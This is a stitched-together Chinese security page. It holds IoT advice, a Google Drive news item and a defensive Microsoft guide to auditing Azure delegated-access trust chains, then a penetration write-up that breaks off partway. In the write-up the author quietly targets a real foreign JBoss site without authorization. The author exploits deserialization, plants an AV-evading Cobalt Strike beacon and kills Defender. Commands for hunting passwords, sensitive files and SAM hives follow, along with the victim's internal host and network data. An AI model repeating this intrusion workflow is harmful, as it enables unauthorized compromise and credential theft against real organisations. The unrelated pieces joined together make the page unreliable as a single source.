马云惹不起马云將網絡劃分為多個部分。通過將大型網絡分成幾個較小的網絡來實施下一代防火牆安全。為此,請使用IP 地址或VLAN 範圍。為了確保互聯網連接的安全,請在您的IoT 系統中實施VPN。

3. 保護數據image.png如何保護物聯網系統中的數據

马云惹不起马云保護敏感信息。為每個產品安裝唯一的默認密碼,或要求在首次使用設備時立即更新密碼。應用強大的身份驗證以確保只有有效用戶才能訪問數據。為了更好地保護隱私,您還可以實施重置機制,以便在用戶決定退貨或轉售產品時刪除敏感數據並清除配置設置。

马云惹不起马云只收集必要的數據。確保您的IoT 產品僅收集其運行所需的數據。這將降低數據洩露的風險,保護消費者的隱私,並消除不遵守各種數據保護法規、標準和法律的風險。

马云惹不起马云安全的網絡通信。為了獲得更好的安全性,請限制您的產品在IoT 網絡中進行不必要的通信。不要完全依賴網絡防火牆,並通過默認情況下通過入站連接使您的產品不可見來確保安全通信。此外,使用針對物聯網系統需求優化的加密方法,例如高級加密標準、三重DES、RSA和數字簽名算法。

除了上述做法外,請務必遵循NIST 物聯網設備網絡安全指南等建議,該指南旨在解決2020 年物聯網網絡安全改進法案中提出的挑戰。

結論在構建物聯網項目時,從早期研發階段開始考慮安全性至關重要。然而,由於頻繁的網絡攻擊和尋找潛在系統漏洞的複雜性,確保物聯網環境中設備、網絡和數據的強大網絡安全具有挑戰性。

Google Drive將macOS 文件系統生成的'.DS_Store'文件標記為侵權。

'.DS_Store' 文件是蘋果用戶將壓縮文件或文件夾從macOS 系統轉移到非蘋果操作系統後伴隨生成的元數據文件,比如Windows 系統。近日,有用戶報告稱Google Drive將其保存的'.DS_Store'文件標記為違反谷歌的版權保護策略。上個月也有用戶有類似的體驗。

谷歌Drive將'.DS_Store' 文件標記為侵權Google Drive flags '.DS_Store' for copyright violation谷歌Drive將'.DS_Store' 文件標記為侵權

蘋果用戶在從macOS 設備複製ZIP文件和文件到Windows等非macOS 操作系統時經常會看到一個'.DS_Store' 文件。該文件是由macOS Finder應用自動生成的,用來存儲定制屬性和元數據,比如圖標信息和背景圖片位置。相關信息可以幫助用戶根據用戶首選項來渲染佈局。

在macOS 系統中,DS_Store文件在Finder應用中是隱藏的。該文件與Windows系統中隱藏的desktop.ini 和thumbs.db文件類似。

當用戶上傳壓縮文件和文件夾到Google Drive等第三方雲服務時,存儲服務提供商的文件管理器可能會顯示'.DS_Store'、'desktop.ini'和其他類似文件。

谷歌稱這是個例目前還不清楚引發這一行為的原因,BleepingComputer測試發現無法復現該問題。

一個可能的原因是谷歌根據校驗和來追踪版權內容,由於版權文件和該文件存在哈希碰撞使得觸發了報警。

上個月,就有Google Drive用戶稱其文件被錯誤地標記為違反了版權保護策略,而該文本文件中只含有0、 1、173、174、186這樣的數字。

nearly empty files erroneously flagged by Google Drive in January

1月份,幾乎為空的文件被Google Drive錯誤標記

由於校驗和哈希碰撞引髮用戶錯誤地版權保護標記的理論可以解釋部分用戶出現的這一問題。但是該理論目前還沒有經過證明。

谷歌發言人上個月解釋稱,1月發生的問題只影響一小部分Drive文件和用戶,而且谷歌已經糾正了所有被錯誤標記為版權侵權的文件,並採取了相應措施來預防這一問題的再次發生。

01.jpg

在微軟最近的一篇文章中,他們介紹了最新的安全保護策略以保護用戶免受NOBELIUM活動的影響,該活動針對的是技術服務提供商。

早在5 月,微軟就認定有俄羅斯背景的NOBELIUM 黑客組織要對持續數月的SolarWinds 網絡攻擊事件負責,並同企業、政府和執法機構達成了合作,以遏制此類網絡攻擊的負面影響。早些時候,微軟更進一步地剖析了NOBELIUM 使用的一套更加複雜的惡意軟件傳送方法。可知其用於造成破壞,並獲得“HTML Smuggling”系統的訪問權。微軟表示,HTML Smuggling 是一種利用合法HTML5 和JavaScript 功能、以高度規避安全系統檢測的惡意軟件傳送技術。近年來,這項技術已被越來越多地用於部署網銀惡意軟件、遠程訪問木馬(RAT)、以及其它有針對性的釣魚郵件活動。

Microsoft 365 和Microsoft Azure 中存在多種類型的信任鏈,包括委派管理權限(DAP)、Azure 代表管理員(AOBO)、Microsoft Azure Active Directory (Azure AD) 企業對企業(B2B) 、多租戶Azure AD 應用程序以及客戶用戶。其中許多信任鏈可以授予對Azure 資源和Microsoft 365 的高級訪問權限,這需要密切監視。

委託管理特權DAP是一種方法,通過它,服務提供商可以管理Microsoft 365環境,而不需要維護本地身份。 DAP 對服務提供商和最終客戶都有好處,因為它允許服務提供商使用他們自己的身份和安全策略管理下游租戶。

使用DAP的服務提供商可以在Microsoft 365管理中心通過導航到“設置”,然後到“合作夥伴關係”來識別。在合作夥伴關係中,你可以查看與租戶建立計費關係的所有服務提供商的列表,以及服務提供商是否分配了任何角色。

1.png

將DAP 識別為下游客戶

雖然終端客戶無法看到服務提供商租戶中所有可以對最終客戶租戶進行管理更改的用戶的列表,但他們可以通過查看Azure Active Directory 登錄日誌來查看服務提供商的登錄並過濾服務提供商的跨租戶訪問類型。可以通過單擊“下載”導出結果,並利用這些結果進一步針對Azure 和Microsoft 365 進行分類。

2.jpg

服務提供商的登錄

AzureAOBOAzure AOBO在本質上類似於DAP,儘管訪問的範圍僅限於針對個人Azure訂閱和資源的Azure資源管理器(ARM)角色分配,以及Azure Key Vault訪問策略。 Azure AOBO帶來了與DAP類似的管理效益。

要全面評估你訂閱中的AOBO權限,請確保已授予全局管理員訪問權限,後者將評估服務提供商對每個租戶中的所有訂閱的訪問權限。

Azure AOBO訪問是在創建訂閱時添加的,可以在給定Azure訂閱的訪問控制(IAM)中看到。

3.png

如果你有多個訂閱,請考慮運行以下命令來識別服務提供商可能訪問資源的訂閱:

Get-AzSubscription|%{Set-AzContext-Subscription$_;Get-AzRoleAssignment-Scope'/subscriptions/$($_.Id)'|Where-Object{$_.DisplayName-like'ForeignPrincipalfor*inRole'TenantAdmins'(*)'}|SelectDisplayName,Scope|Format-Table}也可以授予csp直接訪問Key Vault的權限。下面的PowerShell命令可以用來識別允許通過AOBO訪問的訪問策略Key vault:

Get-AzKeyVault|%{$vault=Get-AzKeyVault-VaultName$_.VaultName;if($vault.AccessPolicies|Where-Object{$_.DisplayName-like'ForeignPrincipalfor'*'inrole'TenantAdmins'(*)'}){$vault|selectVaultName,ResourceId|Format-Table}}除了上述命令之外,Azure Red Team工具Stormspotter也可以用於大型環境。

從前面的步驟中收集的信息將用於在分類期間進行日誌審查。

Azure AD B2BAzure AD B2B帳戶(客戶)可用於管理Azure和Microsoft 365資源。這種管理訪問方法利用了另一個租戶中的個人現有身份,由於對身份控制的限制,Microsoft通常不推薦這種方法。調查人員應注意授予客戶訪問Microsoft 365 中資源的多種方式,其中可能包括Exchange Online 角色和SharePoint Online 角色。

Azure訂閱為了全面評估你的訂閱中的B2B權限,請確保你已授予用戶訪問權限,這些用戶將根據以下指導評估服務提供商對每個租戶中所有訂閱的訪問:提升訪問權限以管理所有Azure 訂閱和管理組。

授予Azure 角色的Azure AD B2B 身份顯示在Azure 門戶的訪問控制邊欄選項卡中。

7.png

在訂閱中具有所有者角色的客戶用戶

可以使用以下命令系統地識別Azure AD B2B 身份,該命令將生成可用於定位初始分類的身份和資源列表。

Get-AzSubscription|%{Set-AzContext-Subscription$_;Get-AzRoleAssignment-Scope'/subscriptions/$($_.Id)'|Where-Object{$_.SignInName-like'*#EXT#@*'}|SelectDisplayName,SignInName,Scope|Format-Table}.Microsoft 365 (Azure AD)可以在Azure AD 特權身份管理邊欄選項卡的分配邊欄選項卡中查看已在Azure AD 中授予角色的Azure AD B2B 身份。過濾“#EXT#”將允許你查看分配給管理角色的所有訪客用戶。

9.png

過濾客戶用戶

下面的PowerShell還可以用於識別具有管理角色的客戶帳戶。這些身份信息將用於幫助目標分類。

Get-AzureADDirectoryRole|Get-AzureADDirectoryRoleMember|Where-Object{$_.UserPrincipalName-like'*#EXT#@*'}.調查信任鏈在Microsoft 365和Microsoft Azure中,通過信任鏈的活動可以看到多個活動,包括Azure AD審計日誌、Azure activity日誌、Intune審計日誌和統一審計日誌。使用在“識別”階段收集的數據,可以執行有針對性的日誌檢查,以識別信任鏈濫用。應審查每個日誌的來自信任鏈的活動,特別是重點關注促進持久性、數據收集和偵察的活動。

11.png

Azure AD攻擊者通常會使用各種方法來建立持久性,這些方法包括創建新的服務主體、向現有應用程序註冊中添加新的秘密、服務主體、創建新的特權用戶以及接管現有的特權帳戶。你可以通過查看Azure AD 審核日誌並篩選在“識別”階段識別為最近登錄的用戶,來識別通過信任鏈對Azure AD 所做的修改,比如:

密碼重置;

修改服務主體;

將用戶添加到特權角色;

對多因素身份驗證(MFA)的更改;

創建新用戶;

統一審計日誌統一審核日誌可用於識別通過SharePoint Online、Exchange Online、Azure AD 和其他Microsoft 365 產品中的信任鏈執行的活動。

統一審核日誌從Azure AD 和Office 365 中提取數據並將這些數據保留至少90 天,使其成為非常有價值的集中信息來源,如果應用E5 許可證,此數據將保留1 年,使用高級審計的最長可配置保留期為10 年。

Search-UnifiedAuditLog cmdlet 可用於搜索在“識別”階段識別的用戶執行的操作。或者,可以使用Microsoft 365 Defender 門戶中的GUI 搜索日誌。

Azure活動攻擊者對Azure資源的訪問使他們能夠竊取數據並橫向移動到連接到目標Azure環境的其他環境。有權訪問訂閱的攻擊者可以部署新資源、通過虛擬機擴展訪問現有資源,或者直接從Azure 訂閱中竊取數據和密鑰。對Azure資源的訪問和操作可以通過檢查每個訂閱中存在的Azure Activity日誌進行審計。

微軟終端管理器

攻擊者可能通過各種信任鏈訪問Microsoft終端管理器,由於Microsoft終端管理器管理設備的配置,因此它是另一個需要查看的重要審核日誌。可以在微軟終端管理器門戶的租戶管理邊欄選項卡下訪問微軟終端管理器審核日誌。在審計日誌中,啟動器“Partner”可用於過濾由Partner發起的操作。在“身份識別”階段被識別為具有特權的客戶用戶所採取的操作將需要通過用戶主體名稱進行搜索。應該檢查這些日誌事件,以確保沒有通過識別的信任鏈發生惡意活動。

12.png

緩解措施如果在調查過程中發現並確認惡意活動或發現不需要的和過度放任的信任鏈,則應採取果斷措施阻止或最小化訪問。根據信任鏈的類型,可能需要採取不同的步驟來阻止訪問。在任何正在進行的調查結束之前,不建議完全刪除工件;刪除某些工件可能會延遲或增加完成調查的難度。客戶應該與他們的服務提供商交流以了解他們有哪些保護措施,並且在發生潛在惡意活動時,通知他們的服務提供商以獲得他們在活動驗證方面的幫助。

委託管理權限如果服務提供商對租戶的日常活動管理不需要DAP,則應該刪除它。在某些情況下,需要權限以方便服務提供商的管理。在這些情況下,微軟將引入細粒度的委派管理員權限(GDAP),這將允許合作夥伴控制對其客戶工作負載的更細粒度和有時間限制的訪問。

微軟建議服務提供商利用客戶租戶中的命名帳戶來降低風險。如果存在來自服務提供商關係的攻擊證據,建議至少在調查結束之前從關係中刪除被委派的管理員權限。

要刪除委託的管理員權限,請在Microsoft 365管理中心導航到“設置”,然後到“合作夥伴關係”。在夥伴關係中,點擊該關係,然後在詳細信息選項中選擇“刪除角色”。採取此操作將阻止服務提供商以全局管理員或幫助台管理員的身份訪問租戶。刪除此訪問權限不會更改或更改當前通過服務提供商購買的計費關係或許可證。

AzureAOBO如果Azure 訂閱的有效日常管理不需要Azure AOBO 訪問權限,則應刪除它。如果服務提供商需要訪問Azure 訂閱,則應該通過添加具有適當角色和權限的外部主體來應用最小權限。如果有證據表明來自服務提供商的攻擊,那麼應該從每個Azure訂閱中刪除外部主體。

可以利用Azure 策略監控通過AOBO 授予的權限。你可以在Tenant Root Group部署Azure 策略,如果將外部主體的權限分配給Azure中的資源,則該策略將引發不合規。雖然Azure 策略不能阻止使用外國主體創建訂閱,但它簡化了關於訂閱存在的報告,並允許在需要時自動刪除或阻止創建。

可以通過導航到受影響訂閱上的訪問控制(IAM) 邊欄選項卡,為服務提供商選擇外部主體,然後刪除Azure AOBO 權限

13.jpg

刪除外部主體的Azure AOBO 權限

安全檢測日誌記錄的集中可用性對於響應和調查潛在事件至關重要,並且是此類DART 調查的首要障礙。如果組織正在監控其云環境的特權訪問和管理更改,則應該可以發現並警告涉及授權管理特權濫用的惡意活動。

應將雲活動日誌提取到安全信息和事件管理器(SIEM) 中並保留以供分析。包括:

Office 365 統一審核日誌;

Azure AD 管理員審核日誌和登錄日誌;

Microsoft終端管理器審計日誌。

可以利用Azure活動日誌和特定的數據平面日誌(如Azure Key Vault和Storage Azure 策略)來強制執行一致的日誌標準。

作為事件響應者,當有數量和質量都豐富的可用數據時,DART 最有效。一種感興趣的日誌類型是登錄日誌;身份事件可以告訴我們很多關於攻擊活動的信息。通常可以在這些日誌中識別模式,這些模式可以像IP 地址匹配一樣簡單,也可以像UserAgent 字符串、時間和應用程序ID 匹配一樣複雜。

話雖如此,最關鍵的日誌記錄是管理活動的日誌記錄。管理帳戶的任何使用或執行的操作都非常重要,應受到監控,在企業環境中,大多數更改通常是在批准的更改窗口期間進行的,應評估此範圍之外的更改的有效性和完整性。

日誌本身是很有用的,但對於及時顯示不尋常或惡意活動,警報是至關重要的。 Microsoft 365 Defender 門戶有一些有用的內置警報來識別可疑活動。比如:

提升Exchange管理權限;

啟動或導出eDiscovery搜索;

創建轉發或重定向規則;

還可以創建自定義警報以提醒其他類型的活動,另一個比較好用的警報工具是Microsoft Defender for Cloud Apps(以前稱為Microsoft Cloud App Security)。此工具可以從Azure AD、Office 365、Azure、Defender for Endpoint、Defender for Identity 以及許多第三方服務中提取數據。策略引擎可用於基於內置模板或自定義定義創建警報策略。以下是一些模板化策略的例子:

來自非公司IP地址的管理活動;

可疑的管理活動;

向OAuth應用程序添加可疑憑證;

可疑的OAuth應用程序文件下載活動;

多個虛擬機創建活動;

微軟安全建議微軟建議客戶定期與服務提供商進行交流,以了解為訪問其租戶設置的安全控制。應該密切監視服務提供商對資源的訪問,如果一段時間未使用,則應按照嚴格的最低權限流程進行刪除。

保護管理訪問的一些具體方法包括使用即時管理解決方案,例如特權身份管理,包括定期審查管理員以確保仍然需要他們的訪問。 MFA 也很關鍵,不僅是啟用MFA,還要確保所有管理員都註冊了MFA 方法。

工具准备

jexboss

Kali Linux

CS 4.3

Windows杀软在线查询一

Windows杀软在线查询二

Windows杀软在线查询三

fscan

潮汐shellcode免杀

LSTAR

CobaltStrike其他插件

PEASS-ng

PrintSpoofer

外网打点

1、为了练习内网横向,悄悄的盯上国外的站点

2、发现jboss网站存在反序列化漏洞,是呀jexboss无法利用成功

python jexboss.py -u https://xx.xx.xx/

3、使用工具java反序列化终极测试工具 by 6哥成功利用

yhbp4r5dbjn14774.jpg

4、查看当前用户whoami,普通用户

4c052vc3rah14775.jpg

5、查看IP地址ipconfig

4pbffdvjp5l14776.png

6、查看是否有杀软tasklist /svc

2s2mgztpam314777.jpg

7、将查询的内容粘贴到Windows杀软在线查询,发现存在杀软

i2yhase4tjb14778.png

8、查看服务器是否出网ping www.baidu.com,很不错,服务器出网

uvt24x4bcmd14779.jpg

CS上线

1、因为有杀软,我们要考虑绕过,直接上传CS木马肯定是不行的,本次绕过的是潮汐shellcode免杀,因为很多github上利用python打包的exe文件太大,上传很慢,而潮汐shellcode免杀文件较小,上传快。

2、CS先生成c语言的shellcode

mtypcozyufg14780.jpg

3、将shellcode内容复制到潮汐网站上,生成的exe上传到目标机器,然后执行命令

C:\\usr\\desarrollo\\jboss-5.1.0.GA\\server\\sigAmeServer\\deploy\\ROOT.war\\TideAv-Go1-2023-02-04-10-31-21-221261.exe tide

pqrwxpmzxyc14782.jpg

4、CS成功上线

i5qhil2332x14783.jpg

权限提升

信息收集

1、查看当前用户及特权

whoami
whoami /priv

znzgbtj222x14784.jpg

2、查看系统版本及补丁信息

systeminfo

nq1fqbgedyu14785.jpg

Nombre de host:                            AMEPROWEBEGAD
Nombre del sistema operativo:              Microsoft Windows 10 Pro
Versi¢n del sistema operativo:             10.0.19044 N/D Compilaci¢n 19044
Fabricante del sistema operativo:          Microsoft Corporation
Configuraci¢n del sistema operativo:       Estaci¢n de trabajo miembro
Tipo de compilaci¢n del sistema operativo: Multiprocessor Free
Propiedad de:                              appzusr
Organizaci¢n registrada:                   
Id. del producto:                          00331-10000-00001-AA727
Fecha de instalaci¢n original:             13/5/2022, 14:03:47
Tiempo de arranque del sistema:            1/2/2023, 16:50:29
Fabricante del sistema:                    VMware, Inc.
Modelo el sistema:                         VMware Virtual Platform
Tipo de sistema:                           x64-based PC
Procesador(es):                            2 Procesadores instalados.
                                           [01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2494 Mhz
                                           [02]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2494 Mhz
Versi¢n del BIOS:                          Phoenix Technologies LTD 6.00, 12/11/2020
Directorio de Windows:                     C:\Windows
Directorio de sistema:                     C:\Windows\system32
Dispositivo de arranque:                   \Device\HarddiskVolume1
Configuraci¢n regional del sistema:        ezs-mx;Espa¤ol (M‚xico)
Idioma de entrada:                         es-mx;Espa¤ol (M‚xico)
Zona horaria:                              (UTC-06:00) Guadalajara, Ciudad de M‚xico, Monterrey
Cantidad total de memoria f¡sica:          4.095 MB
Memoria f¡sica disponible:                 1.201 MB
Memoria virtual: tama¤o m ximo:            4.799 MB
Memoria virtual: disponible:               1.147 MB
Memoria virtual: en uso:                   3.652 MB
Ubicaci¢n(es) de archivo de paginaci¢n:    C:\pagefile.sys
Dominio:                                   ame.local
Servidor de inicio de sesi¢n:              \\AMEPROWEBEGAD
Revisi¢n(es):                              4 revisi¢n(es) instaladas.
                                           [01]: KB5004331
                                           [02]: KB5003791
                                           [03]: KB5006670
                                           [04]: KB5005699
Tarjeta(s) de red:                         1 Tarjetas de interfaz de red instaladas.
 z                                          [01]: Intel(R) PRO/1000 MT Network Connection
                                                 Nombre de conexi¢n: Ethernet0
                                                 DHCP habilitado:    No
                                                 Direcciones IP
                                                 [01]: 172.16.2.100
                                                 [02]: fe80::591:ae09:eee1:888e
Requisitos Hyper-V:                        Se detect¢ un hipervisor. No se mostrar n las caracter¡sticas necesarias para Hyper-V.

3、查看开放的端口服务netstat -ano

Conexiones activas

  Proto  Direcci¢n local          Direcci¢n remota        Estado           PID
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       600
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:1090           0.0.0.0:0              LISTENING       7600
  TCP    0.0.0.0:1098           0.0.0.0:0              LISTENING       7600
  TCP z   0.0.0.0:1099           0.0.0.0:0              LISTENING       7600
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       1072
  TCP    0.0.0.0:3873           0.0.0.0:0              LISTENING       7600
  TCP    0.0.0.0:4444           0.0.0.0:0              LISTENING       7600
  TCP    0.0.0.0:4445           0.0.0.0:0              LISTENING       7600
  TCP    0.0.0.0:4446           0.0.0.0:0              LISTENING       7600
  TCP    0.0.0.0:4457           0.0.0.0:0              LISTENING       7600
  TCP    0.0.0.0:4712           0.0.0.0:0              LISTENING       7600
  TCP    0.0.0.0:4713           0.0.0.0:0              LISTENING       7600
  TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING       6652
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:7070           0.0.0.0:0              LISTENING       3564
  TCP    0.0.0.0:8009           0.0.0.0:0              LISTENING       7600
  TCP    0.0.0.0:8080           0.0.0.0:0    z          LISTENING       7600
  TCP    0.0.0.0:8083           0.0.0.0:0              LISTENING       7600
  TCP    0.0.0.0:46305          0.0.0.0:0              LISTENING       7600
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       832
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       680
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1416
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       1612
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       2452
  TCP    0.0.0.0:49671          0.0.0.0:0              LISTENING       832
  TCP    0.0.0.0:49672          0.0.0.0:0              LISTENING       3404
  TCP    0.0.0.0:49704          0.0.0.0:0              LISTENING       820
  TCP    0.0.0.0:49708          0.0.0.0:0              LISTENING       3048
  TCP    0.0.0.0:51407          0.0.0.0:0              LISTENING       7600
  TCP    127z.0.0.1:5140         0.0.0.0:0              LISTENING       7172
  TCP    127.0.0.1:51411        0.0.0.0:0              LISTENING       7600
  TCP    172.16.2.100:139       0.0.0.0:0              LISTENING       4
  TCP    172.16.2.100:8080      172.16.12.34:42602     TIME_WAIT       0
  TCP    172.16.2.100:8080      172.16.12.34:42610     ESTABLISHED     7600
  TCP    172.16.2.100:8080      172.16.12.34:55672     TIME_WAIT       0
  TCP    172.16.2.100:8080      172.16.12.34:55686     TIME_WAIT       0
  TCP    172.16.2.100:49717     38.90.226.62:8883      ESTABLISHED     3576
  TCP    172.16.2.100:50848     172.16.2.100:51407     TIME_WAIT       0
  TCP    172.16.2.100:51413     172.16.2.190:1433      ESTABLISHED     7600
  TCP    172.16.2.100:51447     172.16.2.190:1433      ESTABLISHED     7600
  TCP    172.16.2.100:56063     172.16.2.11:2222       ESTABLISHED     3576
  TCP    172.16.2.100:56538     92.223.66.48:443       ESTABLISHED     3564
  TCP    [::]:135               [::]:0                 LISTENINzG       600
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:1090              [::]:0                 LISTENING       7600
  TCP    [::]:1098              [::]:0                 LISTENING       7600
  TCP    [::]:1099              [::]:0                 LISTENING       7600
  TCP    [::]:3389              [::]:0                 LISTENING       1072
  TCP    [::]:3873              [::]:0                 LISTENING       7600
  TCP    [::]:4444              [::]:0                 LISTENING       7600
  TCP    [::]:4445              [::]:0                 LISTENING       7600
  TCP    [::]:4446              [::]:0                 LISTENING       7600
  TCP    [::]:4457              [::]:0                 LISTENING       7600
  TCP    [::]:4712              [::]:0                 LISTENING       7600
  TCP    [::]:4713              [::]:0                 LISTENING       7600
  TCP    [::]:5985              [::]:0                 LISTENING       4
  TCP    [::]:8009            z  [::]:0                 LISTENING       7600
  TCP    [::]:8080              [::]:0                 LISTENING       7600
  TCP    [::]:8083              [::]:0                 LISTENING       7600
  TCP    [::]:46305             [::]:0                 LISTENING       7600
  TCP    [::]:47001             [::]:0                 LISTENING       4
  TCP    [::]:49664             [::]:0                 LISTENING       832
  TCP    [::]:49665             [::]:0                 LISTENING       680
  TCP    [::]:49666             [::]:0                 LISTENING       1416
  TCP    [::]:49667             [::]:0                 LISTENING       1612
  TCP    [::]:49668             [::]:0                 LISTENING       2452
  TCP    [::]:49671             [::]:0                 LISTENING       832
  TCP    [::]:49672             [::]:0                 LISTENING       3404
  TCP    [::]:49704             [::]:0                 LISTENING       820
  TCP    [::]:49708             [::]:0                 LISTENING       30z48
  TCP    [::]:51407             [::]:0                 LISTENING       7600
  UDP    0.0.0.0:123            *:*                                    1268
  UDP    0.0.0.0:500            *:*                                    3040
  UDP    0.0.0.0:3389           *:*                                    1072
  UDP    0.0.0.0:4500           *:*                                    3040
  UDP    0.0.0.0:5050           *:*                                    6652
  UDP    0.0.0.0:5353           *:*                                    1432
  UDP    0.0.0.0:5355           *:*                                    1432
  UDP    0.0.0.0:50001          *:*                                    3564
  UDP    0.0.0.0:50007          *:*                                    1240
  UDP    0.0.0.0:56152          *:*                                    1240
  UDP    0.0.0.0:61593          *:*                                    1240
  UDP    0.0.0.0:64843          *:*                                    1240
  UDP    127.0.0.1:1900         *z:*                                    2876
  UDP    127.0.0.1:50434        *:*                                    832
  UDP    127.0.0.1:55588        *:*                                    2876
  UDP    127.0.0.1:65220        *:*                                    1868
  UDP    127.0.0.1:65222        *:*                                    2360
  UDP    172.16.2.100:137       *:*                                    4
  UDP    172.16.2.100:138       *:*                                    4
  UDP    172.16.2.100:1900      *:*                                    2876
  UDP    172.16.2.100:55587     *:*                                    2876
  UDP    [::]:123               *:*                                    1268
  UDP    [::]:500               *:*                                    3040
  UDP    [::]:3389              *:*                                    1072
  UDP    [::]:4500              *:*                                    3040
  UDP    [::]:5353              *:*                                    1432
z  UDP    [::]:5355              *:*                                    1432
  UDP    [::1]:1900             *:*                                    2876
  UDP    [::1]:55586            *:*                                    2876
  UDP    [fe80::591:ae09:eee1:888e%13]:1900  *:*                                    2876
  UDP    [fe80::591:ae09:eee1:888e%13]:55585  *:*                                    2876

4、查看网卡信息shell ipconfig /all

Configuración IP de Windows

   Nombre de host. . . . . . . . . : AMEPROWEBEGAD
   Sufijo DNS principal  . . . . . : ame.local
   Tipo de nodo. . . . . . . . . . : híbrido
   Enrutamiento IP habilitado. . . : no
   Proxy WINS habilitado . . . . . : no
   Lista de búsqueda de sufijos DNS: ame.local

Adaptador de Ethernet Ethernet0:

   Sufijo DNS específico para la conexión. . : 
   Descripción . . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
   Dirección física. . . . . . . . . . . . . : 00-50-56-B2-9D-FE
   DHCP habilitado . . . . . . . . . . . . . : no
   Configuración automática habilitada . . . : sí
   Vínculo: dirección IPv6 local. . . : fe80::591:ae09:eee1:888e%13(Preferido) 
   Dirección IPv4. . . . . . . . . . . . . . : 172.16.2.100(Preferido) 
   Máscara de subred . . . . . . . . . . . . : 255.255.255.0
   Puerta de enlace predeterminada . . . . . : 172.16.2.254
   IAID DHCPv6 . . . . . . . . . . . . . . . : 100683862
   DUID de cliente DHCPv6. . . . . . . . . . : 00-01-00-01-2A-10-71-A7-00-50-56-B2-9D-FE
   Servidores DNS. . . . . . . . . . . . . . : 172.16.2.20
                                       10.0.0.1
   NetBIOS sobre TCP/IP. . . . . . . . . . . : habilitado

 

1lg0i1npcua14786.jpg

5、路由表信息shell arp -a

Interfaz: 172.16.2.100 --- 0xd
  Dirección de Internet          Dirección física      Tipo
  172.16.2.11           00-50-56-b2-ac-66     dinámico  
  172.16.2.20           00-50-56-b2-d2-30     dinámico  
  172.16.2.150          00-90-a9-d6-91-01     dinámico  
  172.16.2.190          00-50-56-b2-99-b0     dinámico  
  172.16.2.254          00-00-5e-00-01-02     dinámico  
  172.16.2.255          ff-ff-ff-ff-ff-ff     estático  
  224.0.0.22            01-00-5e-00-00-16     estático  
  224.0.0.251           01-00-5e-00-00-fb     estático  
  224.0.0.252           01-00-5e-00-00-fc     estático  
  239.255.255.250       01-00-5e-7f-ff-fa     estático

0hq3l1m1elv14787.jpg

6、是否存在域环境shell systeminfo,确实存在域环境

nam0grvpf1y14789.jpg

CS自带插件提权

1、首先使用CS自带插件提权,无法提权成功,且提权后,CS就失去主机控制,应该是提权进程被杀软发现(包括第三方提权插件都不行)。

fgqiutc5zdp14791.jpg

结束杀软进程

1、我们来尝试一下是否可以关闭杀软,通过上面信息知道杀软进程名MsMpEng.exe,通过进程对比可以发现,杀软已经被我们关闭了。

tskill MsMpEng
tasklist /svc

rghwjg0uobu14792.png

Windows-Exploit-Suggester

1、安装更新脚本

python2 -m pip install --user xlrd==1.1.0
python2 windows-exploit-suggester.py --update

2、将上面收集的systeminfo内容复制到systeminfo.txt,查找对应的漏洞

python2 ./windows-exploit-suggester.py --database 2023-02-06-mssb.xls --systeminfo systeminfo.txt

fa0oxf1kpx214794.jpg

3、将查找的exp上传测试提权,发现都不成功。

PEASS-ng

1、上传到目标机器,无法执行,被杀软发现了,虽然已经关闭杀软进程,但是过一会,杀软自启动

winPEASany.exe log=result.txt

hrf21125whb14795.jpg

查看SAM密码文件

1、SAM密码文件位置

system文件位置:C:\Windows\System32\config\SYSTEM
sam文件位置:C:\Windows\System32\config\SAM

2、由于不是管理员账号,无法查看

jsm1lhx1rt514796.jpg

windows敏感文件

1、查看最近打开的文档

dir %APPDATA%\Microsoft\Windows\Recent

2、递归搜索后面文件的password字段

findstr /si password  config.*  *.ini *.txt *.properties

3、递归查找当前目录包含conf的文件

dir /a /s /b "*conf*" > 1.txt

4、递归查找目录下的txt中的password字段

findstr /s /i /c:"Password" 目录\*.txt

5、递归查找目录下的敏感文件输出到桌面123.txt中

for /r 目录 %i in (account.docx,pwd.docx,login.docx,login*.xls) do @echo  %i >> C:\tmp\123.txt

6、指定目录搜索各类敏感文件

dir /a /s /b d:\"*.txt"
dir /a /s /b d:\"*.xml"
dir /a /s /b d:\"*.mdb"
dir /a /s /b d:\"*.sql"
dir /a /s /b d:\"*.mdf"
dir /a /s /b d:\"*.eml"
dir /a /s /b d:\"*.pst"
dir /a /s /b d:\"*conf*"
dir /a /s /b d:\"*bak*"
dir /a /s /b d:\"*pwd*"
dir /a /s /b d:\"*pass*"
dir /a /s /b d:\"*login*"
dir /a /s /b d:\"*user*"

7、收集各类账号密码信息

findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak

PrintSpoofer提权

1、执行命令PrintSpoofer.exe -i -c cmd无法提权

PrintSpoofer.exe -i -c cmd

y2qlhw3gt2j14807.jpg

横向渗透

fscan扫描

1、上传fscan,执行shell "C:/Users/appusr/fscan64.exe" -h 172.16.2.1/24,发现存活35个IP,扫出很多网站

(icmp) Target 172.16.2.5      is alive
(icmp) Target 172.16.2.9      is alive
(icmp) Target 172.16.2.11     is alive
(icmp) Target 172.16.2.20     is alive
(icmp) Target 172.16.2.37     is alive
(icmp) Target 172.16.2.38     is alive
(icmp) Target 172.16.2.45     is alive
(icmp) Target 172.16.2.46     is alive
(icmp) Target 172.16.2.47     is alive
(icmp) Target 172.16.2.32     is alive
